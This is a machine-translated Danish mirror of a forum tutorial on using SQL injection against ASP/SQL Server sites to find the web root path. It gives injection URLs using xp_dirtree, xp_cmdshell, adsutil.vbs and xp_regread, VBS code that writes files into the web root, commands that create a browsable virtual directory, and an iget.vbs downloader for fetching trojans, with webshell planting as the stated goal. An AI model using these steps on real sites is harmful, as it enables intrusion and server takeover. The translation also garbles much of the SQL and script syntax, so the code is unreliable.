Denne artikel er en spejling af maskinoversættelse, klik venligst her for at springe til den oprindelige artikel.

Udsigt: 11906|Svar: 0

[Sikkerhedsvejledning] SQL-injektion for at opnå hele website-stien

[Kopier link]
Opslået på 07/02/2015 22.19.16 | | |
SQL-injektion for at opnå hele website-stien

Hvis hjemmesiden kun har 80 porte, vil du finde følgende metoder mere nyttige
Næsten alle metoderne, der blev brugt i den, er ikke, hvad jeg har opdaget, og artiklen indeholder altid en personlig erfaring og færdigheder, når man injicerer
Der findes 4 metoder (nu kendte)

Første metode:

Dette er <怪异的SQL注入>metoden, der blev introduceret i < >
Med udgangspunkt i SQLservers xp_dirtree lad os først tale om metoden og derefter om dens fordele og ulemper (nogle tilføjelser er lavet på baggrund af den oprindelige tekst)

Opret tabeller

Udtalelse:http://www.xxxxx.com/down/list.asp?id=1;create  table dirs(Paths Varchar(1000))--
Tilbage: Normal information! Det betyder, at tabellen er oprettet med succes! Fortsæt!
(Den byggede er lidt større end den oprindelige, fordi jeg er stødt på en fil med et langt navn og slettede ID'et, fordi det er ubrugeligt)

Udtalelse:http://www.xxxxx.com/down/list.asp?id=1;insert  Dirs Executive master.dbo.xp_dirtree 'C:\' --
Retur: Normal information. Det betyder, at alle mapper skrevet til C-drev er succesfulde! Fedt! Næste skridt er at få måleren! Bryd den og kom ud. (Det ser ud til, at der kun er én måde at gøre dette på)

Udtalelse:http://www.xxxxx.com/down/list.asp?id=1  og 0<> (vælg top 1 stier fra vejledninger)-
Returnerer: Microsoft OLE DB Provider for SQL Server fejl 80040e07
Syntaksfejl opstår, når varchar-værdien '@Inetpub' konverteres til en kolonne med datatypen int.

Så bliver mappenavnene i tabellen bragt ud i skift!

Udtalelse:http:// http://www.xxxxx.com/down/list.asp?id=1  og 0<>(vælg top 1-stier fra
di'er hvor stier ikke er i( '@Inetpub'))--
Returnerer: Microsoft OLE DB Provider for SQL Server fejl 80040e07
Syntaksfejl opstod, når varchar-værdien 'test' blev konverteret til en kolonne med datatypen int.

Så bliver mappenavnene i tabellen bragt ud i skift!
Okay, lad os fortsætte

Udtalelse:http:// http://www.xxxxx.com/down/list.asp?id=1  og 0<>(vælg top 1-stier fra
DiS, hvor stier ikke er i('@Inetpub', 'test'))--
Returnerer: Microsoft OLE DB Provider for SQL Server fejl 80040e07
Syntaksfejl opstår, når varchar-værdien 'haha' konverteres til en kolonne med datatypen int.

Så bliver mappenavnene i tabellen bragt ud i skift!

Okay, du burde vide, hvordan man gør det, haha, bare tilføj navnet på den tabell, du får, i parentesen, sæt så mange du vil,

Et lille trick:

Nogle gange vil du opdage, at når inputtet er ens

http://www.xxxxx.com/down/list.asp?id=1  og 0<> (vælg top 1 stier fra vejledninger)-

I stedet for at vise en fejl vises websiden normalt
Svimmel, vær ikke nervøs
Se på 0<> (vælg top 1-stier fra dirs) for at vise, at returen er et tal,
Haha, test det og se, hvor meget det koster

100> (vælg top 1 stier fra dirs)

Tilbage til normalen
Haha, du kan hurtigt gætte med denne metode på større end eller mindre
Okay, lad os fortsætte
For eksempel når den dukker op

59=(vælg top 1 stier fra dirs)

Vend tilbage til normalen,
OK, navnet er 59
Indtast som følger

http:// http://www.xxxxx.com/down/list.asp?id=1  og 0<>(vælg top 1-stier fra
DiS, hvor stier ikke er i('59'))--

Husk at sætte anførselstegn
Følgende metode er den samme som den oprindelige
Der er også et problem
Nogle gange, når jeg indtaster 59 med ovenstående metode, oplever jeg, at den næste mappe stadig er 59
Hvad sker der?
Hehe, jeg ved ikke, om du har lagt mærke til, at 059 og 59 er det samme?
Det er derfor, haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  og 0<>(vælg top 1-stier fra
DiS, hvor stier ikke er i( '059'))--

Jeg fandt ud af, at navnet på den næste mappe vises, okay

Analyse af fordele og ulemper:

Fordelen er, at alle sqlserver-brugere kan bruge det, fordi xp_dirtree anvender tilladelsen PUBLIC,
Ulempen er, at den viser navnene på alle mapper i mappen, og arrangementet virker ikke at være i nogen rækkefølge; kort sagt er det smertefuldt at finde den mappe, du ønsker, i tusindvis eller titusindvis af mapper.
Og du ved, at det ikke er garanteret at have den mappe i rodmappen, hvilket er en virkelig smertefuld ting, ofte afhænger det af held og udholdenhed.
Jeg ønsker dig held og lykke

Metode 2:

Brug xp_cmdshell

Haha, alle må være bekendt med det her, lad mig sige det kort

Opret tabeller

Udtalelse:http://www.xxxxx.com/down/list.asp?id=1;create  table dirs(Paths Varchar(1000))--
Tilbage: Normal information! Det betyder, at tabellen er oprettet med succes! Fortsæt!
(Den byggede er lidt større end den originale, fordi jeg er stødt på en fil med et langt navn og slettede det id, fordi den er ubrugelig.)

Udtalelse:http://www.xxxxx.com/down/list.asp?id=1;insertdirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Retur: Normal information. Det betyder, at alle mapper skrevet til C-drev er succesfulde! du c:\ /B/D bruges her, haha, hvis du ikke ved, hvad /B/D gør, så prøv at se, hvad det gør

Udtalelse:http://www.xxxxx.com/down/list.asp?id=1  og 0<> (vælg top 1 stier fra vejledninger)-
Returnerer: Microsoft OLE DB Provider for SQL Server fejl 80040e07
Syntaksfejl opstår, når varchar-værdien '@Inetpub' konverteres til en kolonne med datatypen int.

Så bliver mappenavnene i tabellen bragt ud i skift!

Udtalelse:http:// http://www.xxxxx.com/down/list.asp?id=1  og 0<>(vælg top 1-stier fra
di'er hvor stier ikke er i( '@Inetpub'))--
Returnerer: Microsoft OLE DB Provider for SQL Server fejl 80040e07
Syntaksfejl opstod, når varchar-værdien 'test' blev konverteret til en kolonne med datatypen int.

Så bliver mappenavnene i tabellen bragt ud i skift!

Metoden er den samme som ovenfor, så jeg vil ikke tale om det

Nogle gange kan vi også gøre noget med følgende to udvidelser

1) Vi kan udnytte xp_availablemedia til at få alle de aktuelle drev og gemme dem i dirs-tabellen:

5 ; indsæt dirs executive master.dbo.xp_availablemedia; --

Vi kan få listen over drev og relaterede oplysninger ved at forespørge indholdet af temp

(2) Vi kan bruge xp_subdirs til at få listen over undermapper og gemme dem i dirs-tabellen:

5 ; indsæt i dirs executive master.dbo.xp_subdirs 'c:\' ; --

Analyse af fordele og ulemper:

Det vil selvfølgelig ikke xp_dirtree situationen, hvor alle mapperne samles; kun første niveau-kataloget vises, hvilket er meget nemmere at finde.
Ulemperne er også åbenlyse, kun SA har denne tilladelse, og det er også muligt, at administratoren har slettet denne udvidelse (den er trods alt for kraftfuld).

Metode 3:

Denne tilgang er god
Følgende er den oprindelige tekst
Jeg overvejede at bruge adsutil.vbs-programmet, som jeg har kørt

a'; Exec Master.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Er den ikke lang? Gennem den kan vi oprette den første virtuelle hjemmeside i IIS (inklusive den faktiske mappe, hvor den er placeret, selvfølgelig)
Import til a.txt
Standarden for den faktiske placering af a.txt er selvfølgelig c:\winnt\system32, hvilket faktisk ikke er et problem, men når man møder en administrator, der sætter adsutil.vbs
Slet det eller læg det et andet sted
Vi kan ikke gøre noget ved det (du kan ikke selv skrive en med echo-kommandoen)

Trin 2: Brug echo-kommandoen til at skrive følgende kode ind i c:\, hvilket ikke er meget

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Sæt WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
gør mens ikke fil.atendofstream
nr=fil.readline
hvis venstre(nr,4)="Sti" så
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
slut hvis
Loop
set fil1 =FSO1.OpenTextFile(PA &"\dd.asp",2,True)
fil1.writeline ""
---------------Klip her-------------------------------------

Trin 3: Selvfølgelig er det at udføre read.vbs, så vi kan læse indholdet i aa.txt og finde den faktiske sti for hjemmesiden
Skriv derefter en fil kaldet dd.asp i rodmappen på hjemmesiden, og så vil du vide, om du kan prøve det med succes
udførehttp://x.x.x.x/dd.asp
Returer: \xxx
Haha, det er en god måde,
Dog synes originalteksten at have nogle problemer
Det er det

set fil =FSO1.OpenTextFile(SPA %2B "\system32\aa.txt"
set fil1 =FSO1.OpenTextFile(pa%2B"\dd.asp",2,true)

Fejl opstår, når to sætninger indsendes
Så vi fandt på plustegnet, som har samme funktion som &
Og hvad skal man skrive om dd.asp? Skriv til far, haha
Haha, jeg ændrede det

-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Sæt WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =fso1.opentextfile(spa "\system32\aa.txt"
gør mens ikke fil.atendofstream
nr=fil.readline
hvis venstre(nr,4)="Sti" så
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
slut hvis
Loop
set fil1 =FSO1.OpenTextFile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------klip her--------------------------------------
Fordi tidsnummeret konverteres til et mellemrum, når du indsender i en browser, bør du også sætte
Det bliver %2B, okay, det burde være fint, som følger
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Sæt WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =FSO1.OpenTextFile(SPA %2B "\system32\aa.txt"
gør mens ikke fil.atendofstream
nr=fil.readline
hvis venstre(nr,4)="Sti" så
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
slut hvis
Loop
set fil1 =FSO1.OpenTextFile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------klip her--------------------------------------

Hvis vi finder, at 1 ikke er der, kan vi blive 2, 3, 4...........

a'; Exec Master.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Men denne metode kan kun bruges under Windows 2000, fordi adresserne på nyoprettede hjemmesider under 2003 ikke er arrangeret efter 1234, det ser ud til at være tilfældigt genereret, og jeg har sammenlignet flere under 2003
adresse, der blev ikke fundet nogen regelmæssighed.

Analyse af fordele og ulemper:

Det samme gælder xp_cmdshell Ikke alle brugere kan bruge det! Et andet problem er, at adsutil-filen ikke nødvendigvis eksisterer, eller ikke nødvendigvis er i den sti, selvom du kan bruge den, hvis du ønsker det
Echo skriver en (haha, gammel og gammel), og et andet spørgsmål er, hvad hvis der er mange sider på værten? Jeg har mødt en vært med ni sider, og kun den ottende er nyttig
Ja, svagt, det er svært for nogen at have tålmodighed til at holde ud så meget, måske er det kollapset for længe siden. Den kan heller ikke bruges i 2003!
Men for at være ærlig, er denne metode faktisk en god metode

Metode 4:

Denne metode er at læse stien fra registret gennem xp_regread osv
Følgende anbefales for at få websidestien (læs registret gennem lagrede procedurer):
Brug den indbyggede lagrede procedure xp_regread (læs registreringsnøgle, tilladelse offentlig):

Udtalelse: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Deklarer@test
Varchar(20) administrerende mester.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT indsæt i stier
(sti) værdier(@test)

IIS standardsti i registreringsdatabasen HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Brug burst-feltet til at læse databasens værdi op:

Sætning: http://www.xxx.com/list.asp?classid=1 og 0<>(vælg top 1 stier fra newtable)--returner: Microsoft OLE DB Provider for
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] konverterer varchar-værdien E:\www,,201 til en datatype int
klumme.

Det betyder, at webside-mappen er i E:\www, og så kan du også bruge FSO til at skrive direkte til ASP-trojaneren
Hvad hvis du ikke kan få fat i en webmappe? Du skal gætte, om hjemmesiden bruger standard WEB eller domænenavnet som WEB.

deklarer @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, kør , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"'

Opret en virtuel mappe E under standardwebstedet, peg på E: under disk.

deklarer @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, kør , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'

Det er godt at tilføje browsing-attributter til den virtuelle mappe, f.eks. Åbn en virtuel tjeneste for dig selv. Når jeg tænker på de der webside-katalogstier, er mit hoved næsten knust. Nu åbnede jeg øjnene. Det er WEBSHELL, der bruger MS
SQL er slutningen på vores arbejde, og det næste job bør være dit.
Haha, metoden er god, læs den igennem tilmeldingsformularen, bekvemt og hurtigt!

Analyse af fordele og ulemper:

Fordelen er selvfølgelig, at det er bekvemt og hurtigt. Ulempen er, at du kun kan se stien for standard IIS-siden, og hvis den ikke længere er standardsiden, er der ikke noget, du kan gøre (jeg sporede den med regsnape), hvis det er under 2003
Det vil sige, selv standardstien for siden vises ikke! I smerte

For resten er der faktisk andre måder at fortsætte indtrængningen på end at finde websitets sti, såsom at uploade bounce Trojan via tftp eller skrive en iget.vbs for at downloade den dong, du ønsker.
iget.vbs-koden er som følger:

---------start----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------slut-----------

Supplement til denne artikel:

For nylig fandt jeg ud af, at min forståelse af formand Maos instruktioner ikke var dyb nok, og jeg vil gerne tilføje det her
Faktisk behøver ovenstående metoder slet ikke sammenlignes, xp_dirtree de er de bedste, så længe denne ene metode er tilstrækkelig
Det er bare fordi, jeg var for ..............
I dag vil jeg grave hemmeligheden bag xp_dirtree op igen
Okay, lad os være executive master: xp_dirtree'd:/test'
Lad os sige, at vi har to mapper i test, test1 og test2, og test3 i test1
Resultaterne viser

undermappedybde
test1 1
test3 2
test2 1

Haha, jeg fandt ud af, at der ikke er nogen dybde, som er rækken i kataloget
Okay, ved hvad du skal gøre

http://www.xxxxx.com/down/list.asp?id=1;create  Tabel Dirs(Paths Varchar(1000), ID int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  Dirs Executive master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1  og 0<>(vælg top 1 stier fra dirs hvor id=1)-

Så længe id=1 tilføjes, er det første niveau-katalog.





Tidligere:Intrusion Penetration: Anvendelse af HTTP-headers
Næste:Alipay-overførselsscreenshots genereres med ét klik
Ansvarsfraskrivelse:
Al software, programmeringsmaterialer eller artikler udgivet af Code Farmer Network er kun til lærings- og forskningsformål; Ovenstående indhold må ikke bruges til kommercielle eller ulovlige formål, ellers skal brugerne bære alle konsekvenser. Oplysningerne på dette site kommer fra internettet, og ophavsretstvister har intet med dette site at gøre. Du skal slette ovenstående indhold fuldstændigt fra din computer inden for 24 timer efter download. Hvis du kan lide programmet, så understøt venligst ægte software, køb registrering og få bedre ægte tjenester. Hvis der er nogen overtrædelse, bedes du kontakte os via e-mail.

Mail To:help@itsvse.com